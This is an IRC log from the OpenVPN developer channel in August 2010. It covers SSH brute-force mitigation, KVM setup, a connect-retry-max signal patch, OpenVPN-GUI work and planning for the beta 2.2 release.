I've used the "limit" module on my Debian server @home and it works great 04:29 <@mattock> but "recent" module is much better for SSH 04:31 <@mattock> putting the server to a non-standard port works well enough for stopping the flood, though 04:31 <@dazo> mattock: seen this one? http://www.pettingers.org/code/sshblack.html ... there's a few others as well, not sure which are better 04:31 < vpnHelper> Title: sshblack -- Automatically blacklist SSH attackers (at www.pettingers.org) 04:32 <@mattock> @home I've used "denyhosts" which uses tcpwrappers 04:32 <@mattock> it has worked great for ~2-3 years 04:32 <@dazo> mattock: and you avoid all those ssh-port-scans .... I do get some connect attempts to port 22 (I have also DROP by default, not REJECT, to slow down port scans even more) ... but not many 100s or more 04:34 <@mattock> yep, using DROP is better... 04:35 <@mattock> I'm not sure I've seen sshblack... but I've seen similar tools using iptables rules in the past 04:36 <@dazo> yeah, I don't recall which of them I've tested now ... right now, I don't have a problem, but I'm considering to install something again 04:36 <@mattock> chantra: I configured all my servers to authenticate from LDAP when connecting to OpenVPN server 04:36 <@dazo> denyhost is also an alternative ... even though, I tend to trust iptables more, as recompiling ssh without tcpwrapper support by a mistake - and you've lost again 04:36 <@mattock> has worked great so far 04:37 <@mattock> I have to be a little careful as iptables rulesets are distributed using puppet... so having some daemon messing with them is not probably wise :) 04:38 <@mattock> but that depends on how the daemon works, of course 04:42 <@dazo> yeah, iptables can be tricky to get right sometimes :) 04:46 <@mattock> anyways, back to Debian packages & buildbot 04:55 <@mattock> dazo: how is KVM support in latest CentOS? 04:55 <@mattock> I got a spare server lying around and I'd want to use it to provide buildslaves 04:56 <@dazo> mattock: I've not tried CentOS with KVM yet (only using as Guest OS) ... but CentOS5.4 got initial KVM support, which was further enhanced in 5.5 ... so I presume it is up to the task 04:56 <@mattock> even for up-to-date OSes like Debian Squeeze and Ubuntu 9.10/10.04? 04:57 <@dazo> not sure what you ask now .... as guest or host OS? 04:57 <@mattock> ...does it work for ^^^ 04:57 <@mattock> I mean, can it run more modern OSes properly as guests 04:57 <@dazo> but iirc, KVM requires a CPU with virt support 04:57 <@dazo> mattock: oh yes, definitely! 04:58 <@mattock> yep, it's got a Xeon or something 04:58 <@mattock> with virtualization chip 04:58 <@dazo> then it should work out without any problems! 04:58 <@mattock> ok, perhaps I'll install CentOS then 04:58 <@mattock> Redhat/CentOS virtualization has been pretty good in my experience 04:58 <@mattock> Debian/Ubuntu are usually more trouble 04:58 <@mattock> at least initially 04:59 <@dazo> I see ... well, I've never tried Debian/Ubuntu as a VM host, so I can't say :) 05:00 <@dazo> http://www.cyberciti.biz/faq/centos-rhel-linux-kvm-virtulization-tutorial/ ... this seems to be pretty nice walk-through 05:00 < vpnHelper> Title: CentOS / Redhat: Install KVM Virtualization Software (at www.cyberciti.biz) 05:03 <@dazo> Or the complete official RHEL5.5 Virt guide :) http://www.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/5.5/html/Virtualization_Guide/index.html 05:03 < vpnHelper> Title: Virtualization Guide (at www.redhat.com) 05:17 <@mattock> dazo: thanks! 05:17 <@mattock> I'll take a look at those links 05:17 <@dazo> you're welcome! 05:32 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has quit [Read error: Operation timed out] 05:35 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 05:51 <@cron2> dazo: have been away from my irc window for a while - regarding your question about URL parser code: haven't seen anything. 05:54 <@cron2> there's news from the OpenWRT side of things - they have accepted my patches and there is an "openvpn-devel" package in their package feed now :-) (I'm not sure exactly how "bulk package builds" work for them, and how things will proceed 05:55 <@cron2> but progress is being made :-) 06:14 <@dazo> cron2: cool! 06:15 <@dazo> Re: URL parser - Yeah, good to know I didn't overlook something 08:21 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 08:32 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 08:32 -!- mode/#openvpn-devel [+o mattock] by ChanServ 08:38 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 276 seconds] 08:42 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 09:39 -!- dazo is now known as dazo_afk 11:37 -!- krzee [~k@unaffiliated/krzee] has left #openvpn-devel ["Leaving"] 11:56 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 14:40 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 21:38 -!- krzee [~k@unaffiliated/krzee] has quit [Ping timeout: 260 seconds] 21:41 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Tue Aug 03 2010 00:32 -!- dazo_afk is now known as dazo 01:31 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:31 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:27 <@mattock> new forums are now more or less themed: https://forums.openvpn.net/ 10:27 < vpnHelper> Title: OpenVPN Forum Index page (at forums.openvpn.net) 10:27 <@mattock> what do you think? 10:37 <@dazo> mattock: first glance looked good ... but very blueish :) 10:37 * dazo need to run 10:38 -!- dazo is now known as dazo_afk 10:43 <@mattock> dazo: agreed 10:43 <@mattock> the theme on openvpn.net needs updating, too 10:43 <@mattock> but the themes are now consistent, which is good 12:17 <@cron2> so 12:17 <@cron2> openvpn-for-openwrt builds now from the official openwrt tree. wiki updated. 12:23 <@cron2> they even build binaries for us now :-) - http://downloads.openwrt.org/snapshots/trunks//openvpn-devel_201026-1_.ipk :-) 13:30 < chantra> mattock: you might want to look at the latest push on http://redmine.debuntu.org/projects/openvpn-ldap-auth/repository 13:30 < vpnHelper> Title: openvpn-ldap-auth - / - Repository - Redmine@Debuntu (at redmine.debuntu.org) 13:30 < chantra> this is not yet stable I believe :) 13:30 < chantra> but should be in near future 13:31 < chantra> main feature: multiple profiles with different rules/preferences 13:31 < chantra> and user config stored in LDAP 13:32 < chantra> well, I started documenting it in http://redmine.debuntu.org/projects/openvpn-ldap-auth/repository/revisions/master/entry/UPGRADE-from-0.0.X.txt 13:32 < vpnHelper> Title: openvpn-ldap-auth - /UPGRADE-from-0.0.X.txt - Redmine@Debuntu (at redmine.debuntu.org) 13:32 < chantra> not tested in prod yet... but if merge did not break anything it should work :) 13:33 < chantra> ok, time to go on a couple of days of holidays \o/ 13:33 -!- chantra is now known as chantra_hols 14:30 <@mattock> chantra: ok, I'll check out the new release 14:31 <@mattock> trac is also being themed now 14:46 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 17:09 -!- openvpn2009 [~admin@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 22:19 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Wed Aug 04 2010 00:38 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Read error: Operation timed out] 00:40 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn-devel 01:00 -!- dazo_afk is now known as dazo 01:01 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:05 <@mattock> kvm on centos5.5 seems to work ok 04:05 <@mattock> nice 04:33 <@dazo> neat! 04:34 <@dazo> using virt-manager / virsh? 04:35 <@dazo> just be sure to use virtio on the guest platforms which supports that, as that will improve performance 04:36 <@mattock> virt-install to install and virsh to manage 04:36 <@mattock> I'll setup bridge networking so that I get rid of the VNC stuff 04:36 <@mattock> direct SSH 04:37 <@mattock> the VM's are using --accelerate and --hvm if that's what you mean 04:40 <@dazo> nope, virtio is kind of para-virt for KVM, with special drivers which avoids emulating I/O devices, like disk and network 04:41 <@dazo> f.ex. a disk setup in the XML config (virsh edit {guestVM}) will state 04:42 <@dazo> network devices will have: 04:43 <@dazo> recent kernels (2.6.32 at least, RHEL/CentOS have backported drivers to 2.6.18) will have support for virtio out-of-the-box 05:30 <@mattock> ok, I'll check if virtio is in use 05:30 <@mattock> not sure 05:33 <@mattock> apparently virtio is not enabled, have to hack around 08:17 <@dazo> cron2: reading http://www.h-online.com/open/news/item/Illumos-launched-as-OpenSolaris-derivative-1050151.html ... and it makes me think about the Solaris tun driver which is tagged on you (https://community.openvpn.net/openvpn/ticket/10) ... do you think we should consider a build host based on OpenSolaris or Illumos? 08:17 < vpnHelper> Title: Illumos launched as OpenSolaris derivative - The H Open Source: News and Features (at www.h-online.com) 08:18 <@cron2> dazo: we should have "something solaris", definitely. I'm not sure which one (Solaris, OpenSolaris or Illumos), I think it depends a bit on how different their network stack is 08:21 <@dazo> from what I've understood (which is not much in Solaris context) ... OpenSolaris and Solaris are pretty tight to each other, but we don't know exactly what Sun did in addition to OpenSolaris. OpenSolaris did have some binary stuff without proper source code available to the community .... while Illumos is 100% open source, libc is replaced and other closed source Solaris components 08:21 <@dazo> anyhow, all of them strives to be ABI compatible with the official Solaris 08:21 <@cron2> I know that the OpenSolaris folks have changed quite a lot in the networking stack (to make "libpcap" applications less painful), but I have no idea whether that affects tun/tap operations or not... 08:22 <@cron2> well... low-level network stuff is not exactly what people see as "ABI" 08:22 <@dazo> aha, well, that might change things for us 08:23 <@cron2> I have a Solaris10/Sparc machine (my mail server), and plan to run a buildslave there :-) - and could setup OpenSolaris in a VM if needed for local testing (but not for buildslaving, as the VM would not be up all times) 08:23 <@dazo> depends on what you define as low-level ... but the NETLINK interface in the Linux kernel is considered an ABI in RHEL 08:23 <@cron2> well, I think it's more like "if it runs on Solaris, it will run on OpenSolaris", but not the other way, given the OpenSolaris has additional APIs there 08:56 <@dazo> ahh, yeah makes sense 09:05 <@mattock> cron2: buildslaves don't have to be up all the time, buildbot can schedule builds and push them to the buildslave when it reconnects 09:05 <@mattock> although it's of course better to have buildslave up as much as possible 09:12 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 09:13 < ecrist> sup d00ds? 09:14 <@cron2> no soup for you 10:26 -!- dazo is now known as dazo_afk 10:48 < d12fk> heyya 10:48 <@cron2> hi 10:48 < d12fk> i have the basic management itf support running for openvpn-gui 10:49 <@cron2> cool 10:49 <@cron2> so no more funny windows signals? 10:49 < d12fk> well, maybe 10:50 < d12fk> i just noticed that sending the mgmt console command does not work while openvpn is within the tcp connect loop 10:50 < d12fk> so: 10:51 < d12fk> Wed Aug 04 17:50:35 2010 TCP: connect to 10.8.16.196:443 failed, will try again in 5 seconds: No Route to Host (WSAEHOSTUNREACH) 10:51 < d12fk> Wed Aug 04 17:50:40 2010 MAN 10:51 < d12fk> renders the mgmt console unresponsive 10:51 < d12fk> thus no disconnect via "signal SIGTERM" is possible 10:52 <@cron2> that's not good (... and sounds like it needs a trac ticket...) 10:52 < d12fk> well, the GUI should/could work with any 2.x 10:52 < d12fk> at least that's what i origianlly palnned 10:53 <@cron2> mmmh, so we still need signals... 10:54 < d12fk> if killing the openvpn process with TerminateProcess() does evil, yes 10:54 < d12fk> am just about to find that out 10:54 <@cron2> will it kill it right away "hard core, no mercy" or will it send it a nice "please shut down!" signal? 10:54 < d12fk> just wanted to cry a bit before that 10:54 < d12fk> done =) 10:54 <@cron2> if it's killing it hard, that's not so good, as it won't give OpenVPN a chance to cleanup routing changes 10:55 < d12fk> yeah, it should shutdown cleanly or is no option 10:57 < d12fk> "The TerminateProcess function is used to unconditionally cause a process to exit." sound more like not an option 10:57 <@cron2> indeed 11:00 < d12fk> i'll might join the chat tomorrow to talk about this 11:03 < d12fk> --connect-retry-max is my fried here 11:03 < d12fk> heh, without it i'd by fried for sure 11:03 <@cron2> sounds like a viable workaround, yes 11:05 < d12fk> yes that does it 11:05 <@cron2> cool 11:05 < ecrist> d12fk: are you a developer? 11:06 < d12fk> yes 11:06 < d12fk> well not officially blessed, but i am working openvpn-gui, it's revival that is 11:07 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 11:07 <@cron2> I don't think anyone besides James is officially blessed :-) 11:08 -!- Irssi: #openvpn-devel: Total of 14 nicks [5 ops, 0 halfops, 0 voices, 9 normal] 11:08 <@d12fk> all right then =) 11:08 < ecrist> the +o is just so people know who is actually working on openvpn source, etc. not really a status thing in this chan 11:08 <@cron2> ah *make mental note* 11:09 <@d12fk> i'll kick yer all *evilgrin* 11:09 < krzee> good morning gentlemen 11:09 <@d12fk> now that i have a workaround out of my misery i'll call it feierabend 11:10 <@cron2> enjoy :) 11:10 <@d12fk> see you, possibly tomorrow night 15:36 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 258 seconds] 21:17 -!- agi [~agi@manson.entorno-digital.com] has quit [Ping timeout: 248 seconds] 21:17 -!- agi [~agi@manson.entorno-digital.com] has joined #openvpn-devel 21:55 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel 22:26 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 240 seconds] 22:27 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 23:09 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 23:10 -!- krzie [nobody@unaffiliated/krzee] has joined #openvpn-devel --- Day changed Thu Aug 05 2010 00:56 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:56 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:55 -!- dazo_afk is now known as dazo 03:26 <@d12fk> re 03:30 < cron2> moin 03:38 -!- mode/#openvpn-devel [+o cron2] by ChanServ 03:38 * dazo just discovered that it is not Friday today :( 03:39 * cron2 points dazo to www.isitfriday.org 03:39 <@dazo> heh 03:45 <@d12fk> what's the dancing bacon all about?! 03:45 * d12fk likes 04:44 <@dazo> d12fk: how's it going with OpenVPN-GUI? 04:57 <@d12fk> well adding management itf support is almost a rewrite of it, but i'm proceeding 04:58 <@d12fk> shortly i'll provide a alpha version for testers 04:58 <@d12fk> am too lazy to find all the regressions myself =) 04:59 <@dazo> heh :) 04:59 <@dazo> I can do some smoke testing ... just need to figure out if my old Vista installation still works 05:00 * dazo wishes ReactOS had progressed even further 05:20 <@d12fk> hm, --connect-retry-max only stops openvpn if I --remap-usr1 to SIGTERM, which in turn prevent --auth-retry interact from working... any ideas? 06:13 * d12fk is mentally back to using a --service event for openvpn shutdown, bummer 07:43 <@dazo> hmmm ... that sounds like something new you've discovered .... 07:57 <@d12fk> you mean the original one with the unresponsive mgmt itf? 08:25 <@dazo> d12fk: I meant --connect-retry-max and --remap-usr1 ... that sounds utterly wrong 08:29 <@d12fk> hm, that depends. if you forcefully remap USR1 you'd expect any soft-restart to be affected. So, maybe it's worth a warning at best. 08:44 <@dazo> agreed ... but --connect-retry-max shouldn't use SIGUSR1 ... it should probably use SIGTERM 08:46 <@dazo> if ((connect_retry_max > 0 && ++retry >= connect_retry_max) || connection_profiles_defined) 08:46 <@dazo> { 08:46 <@dazo> *signal_received = SIGUSR1; 08:46 <@dazo> goto done; 08:46 <@dazo> } 08:47 <@dazo> hmmm 08:47 <@dazo> connection_profiles_defined makes things trickier ... 08:50 <@dazo> diff --git a/socket.c b/socket.c 08:50 <@dazo> index dbf65a1..e04456e 100644 08:50 <@dazo> --- a/socket.c 08:50 <@dazo> +++ b/socket.c 08:50 <@dazo> @@ -924,7 +924,13 @@ socket_connect (socket_descriptor_t *sd, 08:50 <@dazo> openvpn_close_socket (*sd); 08:50 <@dazo> *sd = SOCKET_UNDEFINED; 08:50 <@dazo> 08:50 <@dazo> - if ((connect_retry_max > 0 && ++retry >= connect_retry_max) || connection_profiles_defined) 08:50 <@dazo> + if (connect_retry_max > 0 && ++retry >= connect_retry_max) 08:50 <@dazo> + { 08:50 <@dazo> + *signal_received = SIGTERM; 08:50 <@dazo> + goto done; 08:50 <@dazo> + } 08:51 <@dazo> + 08:51 <@dazo> + if (connection_profiles_defined ) 08:51 <@dazo> { 08:51 <@dazo> *signal_received = SIGUSR1; 08:51 <@dazo> goto done; 08:51 <@dazo> d12fk: would you be able to test out this patch ^^ ... to see if that works better? 08:51 <@dazo> (that patch is not compile tested yet) 08:54 <@dazo> just completed compile and 'make check' without problems, so the patch should be safe 08:56 <@cron2> ... but that implies "the new gui will only work with 2.2"... 08:56 <@cron2> (which *I* would not have a problem with, but d21fk wanted the gui to work with "all versions") 09:02 <@dazo> true enough ... Anyway, I still mean the old behaviour is still wrong, that's what I'm trying to fix :) 09:04 <@cron2> ack 09:13 <@d12fk> I aim at support for ovpn 2.x. Of course bugs should still be fixed, although in this case i'm not sure if it is one. Your call. 09:40 <@dazo> I haven't followed the complete code path of the signals yet ... but at first glance, it really looks like --connect-retry-max does only give SIGUSR1 when hitting the limit ... and according to the man page "For --proto tcp-client, take n as the number of retries of connection attempt" ... it implies that OpenVPN should stop trying doing whatever it does on when connecting .... which normally would indicate that it should quit .... SIGUSR 09:40 <@dazo> 1 will cause any exit in the current code, how I can understand it (only looked at sig.c and socket.c) 09:41 <@dazo> but this made me think about another scenario ... if openvpn is running in the background and the management interface is used, it might be that it's not wanted that openvpn exits ... but then again, in this case SIGUSR1 still seems to not solve anything in connect-retry-max situations 09:51 <@d12fk> well, mgmt clients should be able to handle unexpected exits. 10:19 <@dazo> true 10:37 -!- krzee [~k@unaffiliated/krzee] has left #openvpn-devel ["Leaving"] 11:21 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 12:15 -!- dazo is now known as dazo_afk 12:46 <@mattock> ...almost time for the beta 2.2 "squish roadblocks" meeting 12:50 <@mattock> topics are here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-05 12:50 < vpnHelper> Title: Topics-2010-08-05 – OpenVPN (at community.openvpn.net) 12:51 -!- dazo_afk is now known as dazo 13:01 < ecrist> o/ 13:02 -!- jamesyonan [~jamesyona@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 13:02 < jamesyonan> Hi 13:02 <@mattock> hi james! 13:02 <@dazo> ih! 13:03 <@mattock> so meeting topics are here: https://community.openvpn.net/openvpn/wiki/Topics-2010-08-05 13:03 < vpnHelper> Title: Topics-2010-08-05 – OpenVPN (at community.openvpn.net) 13:03 <@mattock> the idea is to figure out solutions to the beta 2.2 release showstoppers today 13:03 <@mattock> I think the biggest issue is providing the Windows binaries 13:03 <@mattock> shall we begin with that? 13:04 <@dazo> +1 13:04 <@mattock> cron2: are you present? 13:04 * krzee is 13:04 * dazo knows cron2 was around earlier today 13:05 < jamesyonan> I can provide signed tap drivers 13:05 <@mattock> jamesyonan: that would be great! 13:05 < krzee> whoa, i thought that costs a bunch of $ to do 13:06 <@mattock> so if I understood correctly, cross-compiling Windows client is possible 13:06 <@mattock> but signing the drivers is only possible in Windows 13:06 <@mattock> dazo: any ideas how many times we might have to change (=resign) the TAP driver? 13:06 < jamesyonan> I can sign the TAP drivers with OpenVPN Tech sig. -- that's no problem 13:07 <@dazo> but the windows building, doesn't that wrap driver + openvpn binary + configs + installer into one binary? 13:07 < krzee> ahh coolness 13:07 < jamesyonan> the tap driver changes very rarely 13:07 <@mattock> I was just wondering if we could automatically build OpenVPN for Windows and just use the one and same TAP driver? 13:07 <@dazo> Unless some nasty bugs related to the IPv6 stuff cron2 has added to the driver, I don't expect anything particular 13:08 <@mattock> automatically using buildbot, that is 13:08 <@mattock> or does the build process try to build the TAP driver too? 13:08 * cron2 is hee 13:08 <@mattock> cron2: hi! 13:08 <@cron2> mattock: the build process (on windows) builds the TAP driver 13:08 <@dazo> we might be able to do that ... but by having the installer signed as well, you might avoid other Windows warnings as well ... but that's more important for beta, rc and full releases, not allmerged stuff 13:09 <@mattock> dazo: good point, with "allmerged" signing everything is not as important 13:09 <@dazo> cron2: but it's possible to hack the windows build to work as a cross-build, just wrapping in the already built and signed TAP drivers? 13:10 <@mattock> jamesyonan: does windows (vista/7) complain if the TAP driver is signed, but the OpenVPN installer (or binary) is not? 13:10 <@cron2> dazo: dunno how the "take all the bits and build an installer from there" can be done on linux 13:10 <@dazo> cron2: afaik, the installer is NSIS based ... and there's makensis for Fedora at least, which builds a windows binary 13:11 < jamesyonan> mattock: it will complain when you initially run the installer, and then when you install the driver, it will ask if you want to trust software from OpenVPN Tech. 13:11 <@mattock> ok 13:12 <@mattock> so reusing the signed TAP driver is possible... and the rest of the build could be automated cross-compilation on Linux 13:12 < jamesyonan> yes 13:12 <@cron2> cool 13:12 <@mattock> is this supported out-of-the-box? 13:12 <@mattock> =without hacking the build scripts 13:12 <@mattock> or makefiles 13:12 * dazo doubts that 13:12 < jamesyonan> yeah, I think the build scripts allow you to provide precompiled drivers 13:13 <@mattock> great! 13:13 <@cron2> it's supported to use precompiled stuff, but I don't think that the scripts "as of today" support nsis building on linux 13:13 <@cron2> but that should not be THAT hard 13:13 <@dazo> basically: $ makensis openvpn.nsis 13:14 <@mattock> cron2: do you feel like digging into this? I got whole farm of VM's to buildbotify... 13:14 < jamesyonan> in install-win32/maketap see the comment: 13:14 < jamesyonan> # $DRVBINSRC, if defined, points to prebuilt TAP driver and 13:14 < jamesyonan> # tapinstall.exe. 13:14 <@cron2> mattock: I'm still busy with the testing stuff 13:14 <@mattock> cron2: ok 13:15 <@mattock> jamesyonan: could you build the OpenVPN client (+signed TAP drivers) for Windows say, every week or fortnight? 13:15 <@mattock> at least initially, until the the cross-compilation stuff is working properly 13:16 <@mattock> then we can automate it 13:16 -!- d303k [~heiko@88.130.200.246] has joined #openvpn-devel 13:16 < jamesyonan> yeah, I can do that, but sometimes my latency is not very good 13:17 <@cron2> we noticed :) *duck&run* 13:17 <@mattock> :) 13:17 <@mattock> even providing the initial build would help 13:17 <@cron2> yep 13:17 <@mattock> first beta release, that is 13:18 <@mattock> speaking of which... dazo: what's the progress with the remaining bugs? 13:18 <@mattock> #18 and #20 13:18 < d303k> hi btw 13:18 <@dazo> Ticket #20 still needs an official ACK 13:19 <@dazo> Ticket #18 needs to come in the next beta release, I've not had time to poke into that yet 13:19 * cron2 pokes krzee regarding the OpenBSD patch 13:19 <@mattock> is this the correct list of unfixed issues: https://community.openvpn.net/openvpn/query?status=assigned&status=new&status=accepted&status=reopened&group=status&milestone=beta+2.2 13:19 < vpnHelper> Title: Custom Query – OpenVPN (at community.openvpn.net) 13:20 <@dazo> mattock: yes 13:20 < krzee> cron2, dont have my laptop with me today, but it looks like i wont be working 13+ hour days much more 13:20 < krzee> and tuesday i go on vacation, so then it will be way easier too 13:20 <@mattock> seem like relatively minor issues... except the build failure on OpenVPN 13:20 <@dazo> The assigned ones are actually also needing ACKs ... I have my hands on #5 as well, not had time to test out the patch on an older OpenSSL lib yet 13:21 <@dazo> #31 is accepted, and will be merged in today 13:22 <@dazo> #30 is non-critical 13:22 < jamesyonan> #20 looks good. It might be better to functionize the warning, e.g. multiple_script_warning("tls-verify") 13:23 < jamesyonan> this saves space for the platforms where every byte counts (like OpenWRT) 13:24 <@dazo> ahh ... I didn't think about byte-saving ... I just thought the practical code-wise benefit would be too small 13:24 <@mattock> is the "build failure on OpenBSD 4.7 IFF_MULTICAST" a showstopper? 13:25 <@cron2> no 13:25 <@dazo> that is not a regression as far as I've understood 13:25 <@cron2> (this was for mattock - I'd like to see it ACKed and included, but that's mainly "me wanting to close an open end") 13:26 <@cron2> dazo: well, it's broken, and needs fixing :) - but OpenBSD and NetBSD are certainly not our mainstream targets 13:26 <@mattock> so building on OpenVPN and NetBSD fails every single time? Or only with some configuration options? 13:26 <@cron2> mattock: always 13:26 <@dazo> yeah, agreed ... if it had been a regression, I'd be leaning more towards a blocker bug ... but it's not 13:27 <@cron2> a system header file (net/if.h) is not properly detected and so tun.c cannot compile 13:27 <@mattock> ecrist: doesn't OpenBSD have a openvpn-devel port? 13:27 < jamesyonan> byte-saving is usually a non-issue, except for platforms like OpenWRT where the whole linux distro + apps must fit in 4MB. 13:27 <@dazo> jamesyonan: agreed ... I can fix that 13:27 < ecrist> mattock: no idea, afaik, they use the freebsd ports tree 13:28 <@mattock> but the openvpn builds on OpenBSD, even if FreeBSD ports tree is used 13:28 < krzee> ecrist, openbsd has their own patches as well 13:28 < ecrist> but, I don't test for or config for net/open 13:28 <@mattock> I was just wondering if OpenBSD guys had already fixed this issue 13:28 < krzee> they did 13:28 < krzee> i forget who, but someone here IS the openbsd guy 13:29 -!- Irssi: #openvpn-devel: Total of 17 nicks [5 ops, 0 halfops, 0 voices, 12 normal] 13:29 < krzee> aka, manages their patches and stuff 13:29 <@mattock> krzee: interesting... 13:29 <@mattock> so OpenBSD guys are lurking here 13:29 <@mattock> :) 13:29 < krzee> if anyone cares to dig through the log of this channel from when i brought up the bug, he spoke up about it 13:29 <@mattock> anyways, so we have no real showstoppers 13:30 <@mattock> when is the release date for first beta 2.2? 13:31 <@mattock> or rather, what day shall we set as the release date 13:31 <@cron2> mattock: no, the openbsd port is not building 13:31 <@mattock> cron2: ok 13:31 < ecrist> dazo - has beta 2.2 been tagged yet? 13:32 <@dazo> nope, not yet 13:32 <@dazo> it will be tagged when we're announcing the first beta release 13:32 < ecrist> :( would be nice to get a jump on it... 13:33 <@cron2> ecrist: just checkout beta2.2 13:33 <@cron2> it has been branched, just not tagged 13:33 < ecrist> oh, semantics 13:33 <@mattock> :D 13:33 <@cron2> ecrist: well, the branch is still changing, and a tag would freeze a certain source set at "day X" 13:33 < ecrist> I'll start work on the openvpn-beta freebsd port, then. 13:34 <@dazo> ahh ... yeah, the branch is there :) 13:34 <@mattock> ecrist: sounds good 13:34 < ecrist> and I'll make available a tarball soon. 13:34 < ecrist> after it's announced 13:34 <@mattock> is releasing beta 2.2 officially within a week realistic? 13:35 <@mattock> original plan was to release it on August 1st 13:35 <@dazo> it should be ... even though, I have packed weekend, but might get some hacking time on Sunday evening again 13:36 <@mattock> dazo: I'm in no hurry, forum release date is closing in fast... :) 13:37 <@dazo> maybe a joint release could give a better effect? 13:37 * dazo is just thinking from a PR point of view 13:37 <@mattock> hmm... why not... it's August _Friday_ 13th, after all 13:37 <@dazo> heh :-P 13:37 <@mattock> perhaps I should officially announce the Wiki at that day, too 13:37 <@mattock> :) 13:37 <@cron2> heh 13:38 <@mattock> no risk, no fun 13:38 < d303k> perfrect fit as ovpn is kind of a swiss chainsaw =) 13:38 <@mattock> actually, a joint Trac/beta 2.2 release makes sense, so that people know where to file bugs 13:38 <@dazo> yeah 13:38 <@dazo> and! then we need to close the sf.net tracker! 13:38 <@mattock> and where to ask for help (forums) 13:39 <@mattock> dazo: agreed 13:39 <@mattock> that's easy, but is there anything worth migrating there? 13:39 < ecrist> mattock: on the subject of forums, a notice was posted, and I've disabled new user registrations on the current forum. 13:39 <@mattock> ecrist: great! 13:39 <@mattock> then we're all set 13:40 < ecrist> I need to do the upgrade to the current forum, and I'll ship the DB over to forums. and pull a user list for you 13:40 < ecrist> that'll give you a little over a week to convert and import to ldap 13:40 < ecrist> friday morning, then, I'll copy the db one last time 13:41 <@mattock> ecrist: thanks! 13:42 <@mattock> ok, so the plan is to release/announce everything (beta 2.2/forums/trac) simultaneously 13:42 <@mattock> risky, but probably fun 13:42 <@mattock> and August 13th is ok for everybody? 13:42 < d303k> i'll do an announcement for the gui alpha then too =) 13:43 <@mattock> d303k: sounds like a plan :D 13:43 <@dazo> jamesyonan: Something like this? http://pastebin.com/g74CDviK 13:44 < ecrist> when will the beta be 'ready' so I can submit to ports tree? 13:44 <@dazo> mattock: sounds like a plan :) 13:44 <@dazo> ecrist: I'll have that ready latest a couple of days before ... or even earlier if I see no late minute changes will go into the beta branch 13:45 < jamesyonan> dazo: yeah that looks great 13:45 <@mattock> jamesyonan: can you provide the first Windows client binary + TAP driver before next Friday? 13:45 <@dazo> jamesyonan: I'll take that as an ACK then ... and I'll commit it directly 13:45 <@cron2> dazo: that looks indeed very nice 13:46 < jamesyonan> any changes to the build system between 2.1 and 2.2? 13:46 < jamesyonan> i.e. Windows build system 13:46 <@mattock> ok, announcing the releases is a non-issue... the guys at the company promised to take care of that 13:46 <@dazo> cron2: ^^^ you might know most here, as you've done most hacking on the windows side 13:47 <@mattock> and I can do the forums/mailinglist stuff 13:47 <@cron2> jamesyonan: nothing fundamental. version numbers / release date for the tap driver 13:48 <@cron2> (in install-win32/settings.in) 13:48 <@cron2> but no new files, changed scripts, anything of that sort 13:48 <@dazo> I believe we have managed to separate out all the windows changes to the feat_ipv6_wintap branch 13:50 < jamesyonan> sure, I can do the build. Which source tree? testing? 13:50 <@dazo> yeah 13:50 <@dazo> it would be from the beta2.2 branch 13:50 <@dazo> (or rather, a tag ... v2.2-beta-1 13:50 <@dazo> ) 13:51 < jamesyonan> what is the syntax to check it out? 13:52 <@mattock> I assume something along these lines: https://community.openvpn.net/openvpn/wiki/TesterDocumentation 13:52 < vpnHelper> Title: TesterDocumentation – OpenVPN (at community.openvpn.net) 13:52 <@dazo> jamesyonan: git checkout -b beta2.2 origin/beta2.2 13:52 <@mattock> replacing "allmerged" with something else 13:52 <@mattock> dazo? 13:52 <@dazo> (git checkout -b == checkout as on my box) 13:53 <@dazo> dazo: yeah, basically 13:54 <@mattock> ok, so after cloning the repository, you can do a "git branch -la" to list all branches 13:55 <@dazo> yupp 13:55 <@mattock> oh, blindly following instructions was not a good idea :) 13:56 <@mattock> tried to rebase against origin... 13:56 <@mattock> I'll try again 13:58 <@mattock> dazo: so if a branch is selected (as shown in "git branch"), that branch will be built 13:58 <@mattock> right? 13:58 <@mattock> nothing else is required 13:58 <@dazo> yes 13:58 <@cron2> yes, the branch with the "*" 13:58 <@mattock> ok, so full steps are these: 13:59 <@mattock> git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git 13:59 <@mattock> cd openvpn-testing 13:59 <@mattock> git checkout -b beta2.2 origin/beta2.2 13:59 <@mattock> and then just build 13:59 <@cron2> yep 13:59 <@mattock> needed to know that myself, too :) 13:59 <@mattock> all the rebasing, checkouting, pulling 